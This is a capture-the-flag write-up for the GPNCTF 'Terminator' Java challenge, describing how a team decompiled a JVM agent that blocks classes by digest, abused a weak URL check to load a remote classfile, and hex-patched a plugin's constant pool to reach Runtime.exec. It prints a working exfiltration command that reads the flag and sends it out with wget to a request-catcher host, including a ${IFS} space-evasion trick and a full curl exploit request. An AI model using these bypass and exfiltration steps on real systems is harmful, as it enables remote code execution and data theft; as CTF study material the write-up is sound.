I heard supply-chain security is all the rage now, after a weird XY problem. Not sure what they were up about, but I was probably not asking the correct questions… Undeterred, I went shopping in some poor PhD student’s lab and found this lovely contraption, ending this problem once and for all: As soon as evil code will be executed, your VM will be killed mercilessly.

I even built a really cute application for cooking up your cyber recipes to try it out!

This challenge is a bit picky, random variations in the codepaths your JVM takes can make it crash. If it accepts your malicious data, it will likely work on the remote.

Category: pwn

Solver: lukasrad02, 3mb0, nh1729

Flag: GPNCTF{a-shame-javac-is-normally-so-conservative-with-its-stack_b147c172b0da0e}

Scenario

After last year’s great dot-shortage challenge, this challenge continues the series of challenges for those who absolutely love to dig around in the Java ecosystem. Hopefully, there will be also one next year – if there is Terminator 1, what about Terminator 21?

But let’s focus on the actual challenge as we’ve quite a lot of work to do! For the challenge, we are given an archive with a Dockerfile, a JAR file and a text file.

The Dockerfile looks pretty simple. It copies the JAR and the text file into the image, writes the flag into a file and launches the Java app. The text file only contains a list of about 2500 SHA-1 hashes.

Additionally, we’re able to spawn a remote instance of the challenge to get some quick overview of what the Java program does. We end up with a web-based tool that offers some basic string operations.

A screenshot from the website served by the Java application. Below the heading “STRING UTILITIES” there are two sections “Basic utilities” and “Advanced encryption”. In both sections there is text input field, some radiobuttons to select the operation and a “Process!” button. The first section offers the operations capitalize, upper case, lower case and is email; the second one ROT 13 and base 64.

Analysis

Step 1: The Dockerfile

We’ve claimed that the Dockerfile is simple. Nevertheless, there are two interesting aspects. First, we do not know the file name of the flag file, as it is constructed by the following expression: flag-$(md5sum flag.txt | awk '{print $1}').txt. This might make reading the flag a bit harder than if we could use a hardcoded filename. Second, there are some additional parameters passed to the JRE when running the the JAR:

ENTRYPOINT [ \
    "java", \
    "--enable-preview", \
    "-javaagent:/terminator.jar", \
    "-jar", \
    "/terminator.jar", \
    "http://localhost:8080"]

--enable-preview enables preview features of the runtime environment. Parts of the “agent” code we will see later depend on these features. -javaagent is used to “[load] the specified Java programming language agent”. The java man page does not seem to be cooperative with us ☹️. But at least, it refers us to java.lang.instrument. The respective documentation is a bit more talkative:

Provides services that allow Java programming language agents to instrument programs running on the Java Virtual Machine (JVM).

[…]

Agents can transform classes in arbitrary ways at load time, transform modules, or transform the bytecode of methods of already loaded classes.

[…]

The main manifest of the agent JAR file must contain the attribute Premain-Class. The value of this attribute is the binary name of the agent class in the JAR file. The JVM starts the agent by loading the agent class and invoking its premain method.

To sum it up: The “agent” is a class designated by the metadata of the JAR file that can interfere with the execution of the actual application. Thinking back to the challenge description, this might be how “As soon as evil code will be executed, your VM will be killed mercilessly” is realized in this challenge.

Let’s have a look at the agent code!

Step 2: The Terminator

To do this, we can use the tool jadx, a Java decompiler. Opening the JAR in jadx presents us with a view like this:

A screenshot of jadx with the JAR file from the challenge opened. On the left side, there is al list of all classes and resource files in the JAR. Among them is the <code>MANIFEST.MF</code> file, that is opened on the right side. It contains some key-value pairs, including <code>Premain-Class: de.kitctf.gpnctf24.terminator.Terminator </code>

In the screenshot, we have already opened the manifest file from the JAR. It tells us that the “Premain-Class” is de.kitctf.gpnctf24.terminator.Terminator, so we continue with this class.

public static void premain(String args, Instrumentation instrumentation) {
    log("Initializing...");
    crackEgg(instrumentation);
    boolean tracingMode = args != null && args.contains("trace");
    instrumentation.addTransformer(new TerminatorTransformer(tracingMode, readAllowedDigests()), true);
    if (tracingMode && args.contains("save-trace")) {
        Runtime.getRuntime().addShutdownHook(Thread.ofPlatform().unstarted(() -> {
            try {
                List<String> lines = new ArrayList<>(ENCOUNTERED_DIGESTS);
                lines.sort(null);
                Files.write(DIGESTS_PATH, lines, new OpenOption[0]);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }));
    }
    log("Initialization sequence completed");
}

The code snippet above shows the premain method from the Terminator class. That method will be called when the agent is loaded. There are three interesting things this code does:

  1. If the args passed to the agent contain trace, it enables tracing mode. We will learn more about this later on.
  2. In tracing mode, we can additionally enable save-traces, that writes data from a list to the digests.txt file.
  3. A TerminatorTransformer is added to the instrumentation. A transformer is a class that intercepts all class file loads2. The TerminatorTransformer receives the digests from the digests file and whether trace is enabled.

The rest of the Terminator agent class only contains helper methods and boilerplate code, so we can continue with the TerminatorTransformer. These are its important methods:

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
    ClassModel model = ClassFile.of().parse(classfileBuffer);
    onDetected(className, ClassUtil.classDigest(model));
    return classfileBuffer;
}

private void onDetected(String className, String digest) {
    Terminator.ENCOUNTERED_DIGESTS.add(digest);
    if (this.tracingMode) {
        Terminator.log("Digest for %s: %s".formatted(className, digest));
    } else if (!this.allowed.contains(digest)) {
        Terminator.log("\u001b[31mDetected intrusion attempt with \u001b[32m%s\u001b[0m\n  Digest: %s".formatted(className, digest));
        System.exit(2);
    }
}

The transform method is called for every class file load. It computes a custom digest of the classfile and passes it to the onDetected method. That method memorizes the digest and checks it against the list from the file. If the digest is not part of the list, the program will be stopped immediately, except if it is in tracing mode. In tracing mode, the digest is only logged to stderr.

Before we get lost in the details of the digest computation, let’s take at look at the implementation of the actual features first.

Step 3: The Webserver

We forget about all these weird Java Agent stuff for a while and jump over to the implementation of the string manipulation features we saw in the screenshot from the beginning.

The code of the main method is shown below. We have added some comments for better understanding.

public static void main(String[] args) throws Exception {
    // Setup
    System.err.println("Usage: <this program> <base url>");
    String baseUrl = args[0];
    HttpClient httpClient = HttpClient.newHttpClient();
    LOGGER.info("Running on '{}'", getHostname());

    // Webserver
    Javalin.create().get("/", context -> {
        // GET /
        // Serve index page as shown in the screenshot
        context.contentType(ContentType.TEXT_HTML);
        context.result((InputStream) Objects.requireNonNull(Main.class.getResourceAsStream("/index.html")));
    }).post("/process", context2 -> {
        // POST /process
        System.out.println("processing");
        try {
            // Parse request
            ProcessRequest request = new ProcessRequest(context2.formParam("method"), context2.formParam("payload"));
            System.out.println("Got request: " + String.valueOf(request));

            // Fetch requested plugin
            HttpResponse<byte[]> data = httpClient.send(HttpRequest.newBuilder(URI.create(request.fixedMethod(baseUrl))).GET().build(), HttpResponse.BodyHandlers.ofByteArray());
            if (data.statusCode() != 200) {
                throw new BadRequestResponse("Plugin did not yield valid data");
            }

            // Invoke plugin with user input
            Plugin plugin = new PluginLoader().instantiatePlugin((byte[]) data.body());
            context2.contentType(ContentType.TEXT_PLAIN).result(plugin.process(request.payload()));
        } catch (Throwable e) {
            throw new BadRequestResponse("Error: " + e.getMessage());
        }
    }).get("/plugin/{name}", context3 -> {
        // GET /plugin/{name}
        // Host some plugins that are bundled with the application
        InputStream resource = PluginLoader.getPlugin(context3.pathParam("name"));
        if (resource == null) {
            throw new NotFoundResponse();
        }
        context3.result(resource).contentType(ContentType.APPLICATION_OCTET_STREAM).status(HttpStatus.OK);
    }).start(8080);
}

To sum it up, there are three routes:

  1. GET /: Serves the static landing page
  2. POST /process: Handles requests by loading the requested plugin and processing the input with it
  3. GET /plugin/{name}: Serves the plugins that can be selected

The first and third route do nothing special. But the second one is interesting for various reasons. To load a plugin, its URL is constructed by ProcessRequest.fixedMethod():

public String fixedMethod(String baseUrl) {
    String finalUrl = method();
    for (String knownMethod : Main.KNOWN_METHODS) { // KNOWN_METHODS = List.of("Capitalize", "Base64", "IsEmail", "LowerCase", "Rot13", "UpperCase");
        finalUrl = finalUrl.replace(knownMethod, baseUrl + "/plugin/" + knownMethod);
    }
    if (!finalUrl.contains(baseUrl)) { // baseUrl = args[0]; (set to "http://localhost:8080" in the Dockerfile)
        throw new BadRequestResponse("Invalid URL");
    }
    return finalUrl;
}

The output from that method is then used ot fetch the classfile of the plugin via HTTP. What stuck out to us is that, no matter whether the method is known or not, the URL must contain the baseUrl. It seems like this is supposed to forbid sideloading of classfiles. Unfortunately, this check is not sufficient. For example, http://example.com/classfile would be rejected, but http://example.com/http://localhost:8080/classfile won’t. Still, the second URL is completely valid and can point to a server that is under attacker control.

Apart from this weakness, it does not make sense that the application uses HTTP to load plugins at all, as new PluginLoader().instantiatePlugin(/* bytes from HTTP */) could simply replaced by new PluginLoader().instantiatePlugin(PluginLoader.getPlugin(/* plugin name */)), as the getPlugin() method is already implemented.

From our current perspective, we could simply write some malicious Java code that implements the Plugin interface, compile it into a classfile, serve it via HTTP and then craft an HTTP request that references that classfile as method.

The only thing that prevents us from doing this is the Terminator component that checks all loaded classfiles. So now it’s time to dig into the digest generation.

Step 4: Digest Computation

To compute the digest, ClassUtil.classDigest() is called. As this method utilizes some more methods from the class to compile all necessary information for the digest, here is the complete ClassUtil code:

public class ClassUtil {
    private static final MethodHandle BUF_WRITER_CONS;

    static {
        try {
            Class<?> bufWriterCls = Class.forName("jdk.internal.classfile.impl.BufWriterImpl");
            Constructor<?> constructor = (Constructor) Arrays.stream(bufWriterCls.getConstructors()).filter(it -> {
                return it.getParameterCount() == 2;
            }).findAny().orElseThrow();
            BUF_WRITER_CONS = MethodHandles.lookup().unreflectConstructor(constructor);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public static BufWriter newWriter(ClassModel model) {
        try {
            return (BufWriter) BUF_WRITER_CONS.invoke(ConstantPoolBuilder.of(model), null);
        } catch (Throwable e) {
            throw new RuntimeException(e);
        }
    }

    public static ByteBuffer classBytes(ClassModel model) throws IOException {
        List<ByteBuffer> buffers = new ArrayList<>();
        List<MethodModel> methods = new ArrayList<>(model.methods());
        methods.sort(new Comparator<MethodModel>() { // from class: de.kitctf.gpnctf24.terminator.ClassUtil.1
            @Override // java.util.Comparator
            public int compare(MethodModel o1, MethodModel o2) {
                return o1.methodName().stringValue().compareTo(o2.methodName().stringValue());
            }
        });
        for (MethodModel method : methods) {
            buffers.add(methodToBytes(model, method));
        }
        List<FieldModel> fields = new ArrayList<>(model.fields());
        fields.sort(new Comparator<FieldModel>() { // from class: de.kitctf.gpnctf24.terminator.ClassUtil.2
            @Override // java.util.Comparator
            public int compare(FieldModel o1, FieldModel o2) {
                return o1.fieldName().stringValue().compareTo(o2.fieldName().stringValue());
            }
        });
        for (FieldModel field : fields) {
            buffers.add(fieldToBytes(field));
        }
        for (PoolEntry poolEntry : model.constantPool()) {
            buffers.add(ByteBuffer.allocate(1).put(poolEntry.tag()).rewind());
            buffers.add(ByteBuffer.allocate(4).putInt(poolEntry.index()).rewind());
            buffers.add(ByteBuffer.allocate(4).putInt(poolEntry.width()).rewind());
        }
        int capacity = 0;
        for (ByteBuffer byteBuffer : buffers) {
            capacity += byteBuffer.capacity();
        }
        ByteBuffer summed = ByteBuffer.allocate(capacity);
        for (ByteBuffer buffer : buffers) {
            summed.put(buffer);
        }
        return summed;
    }

    private static ByteBuffer methodToBytes(ClassModel model, MethodModel method) throws IOException {
        BufWriter writer = newWriter(model);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        DataOutputStream dataOut = new DataOutputStream(out);
        dataOut.writeBytes(method.methodName().stringValue());
        dataOut.writeBytes(method.methodType().stringValue());
        dataOut.writeInt(method.flags().flagsMask());
        dataOut.writeBytes(method.methodTypeSymbol().displayDescriptor());
        for (Attribute<?> attribute : method.attributes()) {
            attribute.writeTo(writer);
        }
        out.writeBytes(writer.asByteBuffer().array());
        return ByteBuffer.wrap(out.toByteArray());
    }

    private static ByteBuffer fieldToBytes(FieldModel field) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        DataOutputStream dataOut = new DataOutputStream(out);
        dataOut.writeBytes(field.fieldName().stringValue());
        dataOut.writeBytes(field.fieldType().stringValue());
        dataOut.writeBytes(field.fieldTypeSymbol().descriptorString());
        dataOut.writeInt(field.flags().flagsMask());
        return ByteBuffer.wrap(out.toByteArray());
    }

    public static String classDigest(ClassModel model) {
        try {
            ByteBuffer byteBuffer = classBytes(model);
            byte[] digest = MessageDigest.getInstance("SHA-1").digest(byteBuffer.array());
            return HexFormat.of().formatHex(digest);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

Going through this step-by-step, we can learn the following things:

  • Method classDigest(): A ByteBuffer is filled with information from the classfile. The final digest is the SHA-1 hash of these bytes.
  • Method classBytes(): The bytes are compiled from class methods, fields and the constant pool. To prevent ambiguity, methods and fields are sorted alphabetically.
  • Method methodToBytes(): For each method, we use its name, type, flags, method type symbol, and attributes. You might not know what some of these properties are and neither did we. This lead to some failed approaches that we will discuss shortly.
  • Method fieldToBytes(): For each field, we use its name, type, flags, and field type symbol. Again, there are some things we don’t know about.
  • Method classBytes(): For each entry from the constant pool, we use its tag, index, and width.

We considered the constant pool most interesting, as we haven’t heard about it before, while all the properties from the methods and fields sounded like parts from their signatures that would be rather easy to craft correctly.

We found a pretty good description at https://www.baeldung.com/jvm-constant-pool. TL;DR: The constant pool of a Java classfile is a symbol table that contains things such as class, method, and variable names. The bytecode can then reference entries from the pool in its instructions (e.g., call the method with the name from index #42 in the constant pool).

The article even tells us about tags and indices: An entry’s tag defines its data type (e.g., string or int) and the index is just its (1-based) position in the pool. For the width, we consulted the Java documentation and found out that it describes “the number of constant pool slots this entry consumes”. Again, not the most helpful information from the docs – how big is a slot? By some testing, we found out that the slots are at least large enough that strings always have the same width, no matter whether they contain only a few or over hundred characters. Hence, we can freely choose the contents of the entries, as long as the data types stay the same. This was sufficient for us to start our first approach on crafting a malicious class file.

First Approach

In this section, we take you on a tour of how we tried to craft our first exploit, which turned out to be based on false assumptions. Feel free to skip over to the next section.

Based on our findings, we wanted to write some Java code that – when compiled to a class file – results in the same amount of entries with the same data types in the constant pool. We didn’t pay any special attention at the methods and fields. None of the included plugin classes had fields or methods except of the process() method we need to implement anyways, so this part of the bytes used for the digest should always match.

To gain access to the flag, the easiest way seems to be Runtime.getRuntime().exec() with a command of our choice. Fortunately, the application already contains such a call and therefore, the digest of the Runtime class is part of the allowlist.

Now, we need a plugin with a similar structure. From the perspective of the decompiled source code, Base64 and IsEmail look promising, the other ones are either to simple (just one method call on the input string in UpperCase and LowerCase) or to complex (loops or iterators in Rot13 and Capitalize).

public class Base64 implements Plugin {
    @Override
    public String process(String input) throws Exception {
        return java.util.Base64.getMimeEncoder().encodeToString(input.getBytes(StandardCharsets.UTF_8));
    }
}
public class IsEmail implements Plugin {
    @Override
    public String process(String input) throws Exception {
        Pattern pattern = Pattern.compile("[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}");
        boolean matches = pattern.matcher(input).matches();
        if (matches) {
            return "YES :)";
        }
        return "NO :(";
    }
}

To inspect the constant pools, we can use javap -v <classfile>. So, during the CTF we started writing our exploit code and noticed that we won’t be able to match the constant pool of the Base64 class with acceptable effort. But by blowing up our exploit code a bit, we can match the IsEmail class. Compiling

package de.kitctf.gpnctf24.terminator.plugins;

public class Simple implements Plugin {
    public String process(String input) throws Exception {
        String s = "<command to read flag and send it to us>";
        Runtime.getRuntime().exec(s);
        String hope = String.valueOf(0);
        String yes = "YES";
        String no = "NO";
        return no;
    }
}

with javac -g Simple.java Plugin.java produces a Simple.class file with exactly the same sequence of data types in the constant pool as IsEmail.class (extracted from the JAR). -g enables debugging symbols, as the JAR from the challenge has been compiled with debug symbols and these symbols are also part of the constant pool. Plugin.java contains the code of the Plugin interface, copied from the decompiled JAR.

The screenshot below shows a comparison of the pools of IsEmail (left) and Simple (right). Keep in mind that the values (rightmost column) don’t matter, just the columns next to the = sign.

A comparison of two constant pools. Each pool consists of 50 lines (&ldquo;entries&rdquo;), each consisting of the index, an equal sign, the data type, and the value.

So now we can check the digest. To do this, we can utilize the trace mode we have seen in the analysis of the Terminator class. It can be enabled by appending =trace to the -javaagent:/terminator.jar line in the Dockerfile (keep in mind to rebuild the image).

First, we request the original IsEmail plugin to see its digest:

[TERMINATOR] Digest for de/kitctf/gpnctf24/terminator/plugins/IsEmail: 6af82b5eef1c390c694996909a7d48e47a2c5eca

Then, we have to place the classfile on some HTTP server so that the application can access it. We were using python -m http.server 12346 on one of our own servers for this. It is important that the webroot contains a directory http:, which in turn contains a directory localhost:8080, which then contains our classfile:

.
└── http:
    └── localhost:8080
        └── Simple.class

This way, a request to http://lukasradermacher.de:12346/http://localhost:8080/Simple.class provides the classfile, while satisfying the finalUrl.contains(baseUrl) check we have discussed during the analysis of the webserver.

Now, we use the devtools of our browser to edit the request and specify the following POST body:

payload=dummy&method=http://lukasradermacher.de:12346/http://localhost:8080/Simple.class

We check the digest and… It did not work.

[TERMINATOR] Digest for de/kitctf/gpnctf24/terminator/plugins/Simple: 20c8be3768279bb70ed9c51375b2eb06b56d1721

At this point during the CTF, we had been stuck for quite a while, until we attached a debugger to the digest computation code to check what parts of the byte sequence differ. The constant pools were fine, just as expected. The difference was in the byte sequences generated from the methods. This way, we found out that method attributes in this context are neither referring to stuff such as @Override (called “Annotations” in Java, but “Attributes” in C#, which I’m more familiar with), nor are they a synonym for “fields”. Instead, “attributes” in the context of Java classfiles are a generic data structure that can hold various data3. Among the attributes of a method, there is one attribute that holds the actual bytecode of the message. And this finally allowed us to solve the challenge.

Crafting a Malicious Classfile

Remember what we’ve said above: The Java bytecode consists of operations that reference values from the constant pool. We may change the values in the constant pool, as long as the data types stay the same. But we must not change the operations themselves. Hence, let’s take a look at the Smali code of the IsEmail class.

Smali

Smali is the “assembler of Java”, a human readable, 1:1 representation of Java bytecode. We can toggle the view in jadx between Java and Smali using the toolbar below the code frame.

.method public process(Ljava/lang/String;)Ljava/lang/String;
    .throw java/lang/Exception
    .max stack 3
    .max locals 4

    .local 0 "this" Lde/kitctf/gpnctf24/terminator/plugins/IsEmail;
    .local 1 "input" Ljava/lang/String;
    .line 10

    # Load string literal onto the stack
    ldc "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"

    # Call Pattern.compile(). The string from the stack is consumed and the resulting Pattern instance is pushed onto the stack
    invokestatic java/util/regex/Pattern compile (Ljava/lang/String;)Ljava/util/regex/Pattern;

    astore 2
    .local 2 "pattern" Ljava/util/regex/Pattern;
    .line 13
    aload 2

    # Load the method parameter `input` onto the stack
    aload 1

    # Call pattern.matcher(), consuming the input and pushing a matcher onto the stack
    invokevirtual java/util/regex/Pattern matcher (Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;

    # Call matcher.matches(), consuming the matcher and pushing a boolean on the stack
    invokevirtual java/util/regex/Matcher matches ()Z

    istore 3
    .local 3 "matches" Z
    .line 14
    iload 3

    # if true
    ifeq :L3
    .line 15
    ldc "YES :)"
    areturn

    # else
    :L3
    .line 17
    .stack append
        java/util/regex/Pattern
        int
    .end stack
    ldc "NO :("
    areturn
.end method

This is still quite readable. Nevertheless, we have added some comments for your convenience. Most of the uncommented statements are for debugging purposes, such as mapping variables to stack entries or Java code line numbers to Smali statements.

When calling methods, we have to specify the class name (including the package name, but with slashes instead of dots as separators), the method name and the signature. Data types can be expressed in Smali as follows:

Primitive types are represented by a single capital letter, for example V for void, Z for boolean or I for int. Arrays are prefixed with a [, so [I would be an int[]. Reference types start with L, followed by the fully-qualified class name and terminated by a ;. String in Java would become Ljava/lang/String; in Smali. Method signatures have the form (<parameters>)<return type>. The signature of public int add(int a, int b) in Smali would be (II)I.

All these class names, method names and data types reside in the constant pool as Utf8 strings, prefixed with their length in bytes. We can simply launch a hex editor and patch the original IsEmail.class file.

Patching the Classfile

We want to change the following entries:

Original Value New Value
java/util/regex/Pattern java/lang/Runtime
compile getRuntime
(Ljava/lang/String;)Ljava/util/regex/Pattern; ()Ljava/lang/Runtime;
(Ljava/lang/String;)Ljava/util/regex/Pattern; ()Ljava/lang/Runtime;
java/util/regex/Pattern (2nd occurrence) java/lang/Runtime
matcher exec
(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher; (Ljava/lang/String;)Ljava/lang/Process;

Keep in mind to adjust the length byte in front of the string too!

Using only these replacements, the resulting classfile is unfortunately not valid: we’re trying to invoke Matcher.matches with a Process instance on the stack and there is still the string literal with the Regex pattern on the stack, but the stack must be empty at the end.

A screenshot from jadx with our modified classfile. jadx shows a warning: <code>Type inference failed for: r1v2, types: [java.util.regex.Matcher, java.lang.Process]</code>

Therefore, we need to find a method in the Process class that takes a String as input and returns a boolean (for the following if statement). There is only one problem: there is no such method. But Object.equals() fulfills our requirements. If we perform the following additional replacements, we get a valid classfile:

Original Value New Value
java/util/regex/Matcher java/lang/Object
matches equals
()Z (Ljava/lang/Object;)Z

Our final version looks like this:

Screenshots from the final classfile in jadx, showing the disassembled Smali and decompiled Java code

Running the Exploit

We can run our exploit as before: Serve our classfile via HTTP, edit the HTTP request and set method to the URL of our classfile. This time, the digest matches the digest from the original IsEmail classfile.

There is only one step remaining: We need a command that sends the flag to us. Running commands using Runtime.exec() is a bit cumbersome and the method has been deprecated for the following reason:

The command string is broken into tokens using only whitespace characters. For an argument with an embedded space, such as a filename, this can cause problems as the token does not include the full filename.
https://docs.oracle.com/en/java/javase/22/docs/api/java.base/java/lang/Runtime.html#exec(java.lang.String)

In general, we could use the following command to read the flag from the file with the unknown suffix in its name, writes it to another file and then sends this file to a request catcher instance. We’re using wget because curl is not available in the container.

bash -c "cat /flag-*.txt > /tmp/flag; wget --post-file=/tmp/flag https://demo.requestcatcher.com"

But the command does not work, since the parser also separates the command string into multiple arguments, ignoring the quotes. However, there are some tricks to remove spaces from shell commands. First, we can omit some spaces, for example around the > character. All space characters that cannot be omitted can be replaced by ${IFS}. This is a variable containing all characters the shell should consider separators (for example, when reading multiple values from a single string). By default, it contains a space. We end up with the following command:

bash -c cat${IFS}/flag-*.txt>/tmp/flag;wget${IFS}--post-file=/tmp/flag${IFS}https://demo.requestcatcher.com

As our malicious classfile uses the input argument passed to the process() function, we just have to set the payload POST parameter to this command. A curl command to send the full POST body to the server is

curl -X POST --data-raw 'payload=bash -c cat${IFS}/flag-*.txt>/tmp/flag;wget${IFS}--post-file=/tmp/flag${IFS}https://demo.requestcatcher.com&method=http://lukasradermacher.de:12346/http://localhost:8080/final.class' https://sweet-dreams-are-made-of-this--kcsc-kc-rebell-7777.ctf.kitctf.de/process

Keep in mind to update the URLs to your request catcher instance, the class file, and of your challenge instance.

Before we run the curl command, we have to open our request catcher instance in the browser. Then, we can run the command and wait a second until the flag appears.


  1. After the CTF ended, there has been a discussion in the so-many-flags channel on the official GPN CTF Discord server about whether challenges had internet access or not. A KITCTF member shared an excerpt from their k8s config showing a list of challenges for which internet access has been enabled. This list included a terminator-02 challenge. Terminator 1 had zero solves at the time the last chunk of challenges was released, so part 2 might have been kept back to use it next year… ↩︎

  2. https://docs.oracle.com/en/java/javase/22/docs/api/java.instrument/java/lang/instrument/ClassFileTransformer.html ↩︎

  3. https://docs.oracle.com/en/java/javase/22/docs/api/java.base/java/lang/classfile/package-summary.html#attributes-heading ↩︎